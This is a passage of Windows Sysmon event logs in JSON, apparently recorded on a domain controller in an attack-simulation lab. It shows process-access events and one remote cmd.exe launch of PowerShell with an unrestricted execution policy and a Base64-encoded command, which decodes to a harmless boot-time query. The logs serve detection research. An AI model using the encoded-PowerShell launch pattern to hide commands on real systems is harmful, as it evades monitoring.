11:50:33.412","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010C34F0400}","TargetProcessId":"4484","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2483,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.428\r\nSourceProcessGUID: {90617006-4009-5F2D-0000-0010C34F0400}\r\nSourceProcessId: 4484\r\nSourceThreadId: 4504\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010424F0400}\r\nTargetProcessId: 4472\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.428","SourceProcessGUID":"{90617006-4009-5F2D-0000-0010C34F0400}","SourceProcessId":"4484","SourceThreadId":"4504","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010424F0400}","TargetProcessId":"4472","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2484,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.428\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010424F0400}\r\nTargetProcessId: 4472\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.428","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010424F0400}","TargetProcessId":"4472","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2485,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.443\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 2008\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010424F0400}\r\nTargetProcessId: 4472\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.443","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"2008","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010424F0400}","TargetProcessId":"4472","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2486,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.459\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.459","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2487,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.459\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.459","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2488,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.459\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.459","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2489,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.474\r\nProcessGuid: {90617006-4009-5F2D-0000-00100A520400}\r\nProcessId: 4548\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4009-5F2D-0000-0020094F0400}\r\nLogonId: 0x44F09\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4009-5F2D-0000-0010424F0400}\r\nParentProcessId: 4472\r\nParentImage: C:\\Windows\\System32\\winrshost.exe\r\nParentCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.474","ProcessGuid":"{90617006-4009-5F2D-0000-00100A520400}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4009-5F2D-0000-0020094F0400}","LogonId":"0x44f09","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4009-5F2D-0000-0010424F0400}","ParentProcessId":"4472","ParentImage":"C:\\Windows\\System32\\winrshost.exe","ParentCommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2490,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.459\r\nSourceProcessGUID: {90617006-4009-5F2D-0000-0010424F0400}\r\nSourceProcessId: 4472\r\nSourceThreadId: 4528\r\nSourceImage: C:\\Windows\\system32\\WinrsHost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-00100A520400}\r\nTargetProcessId: 4548\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 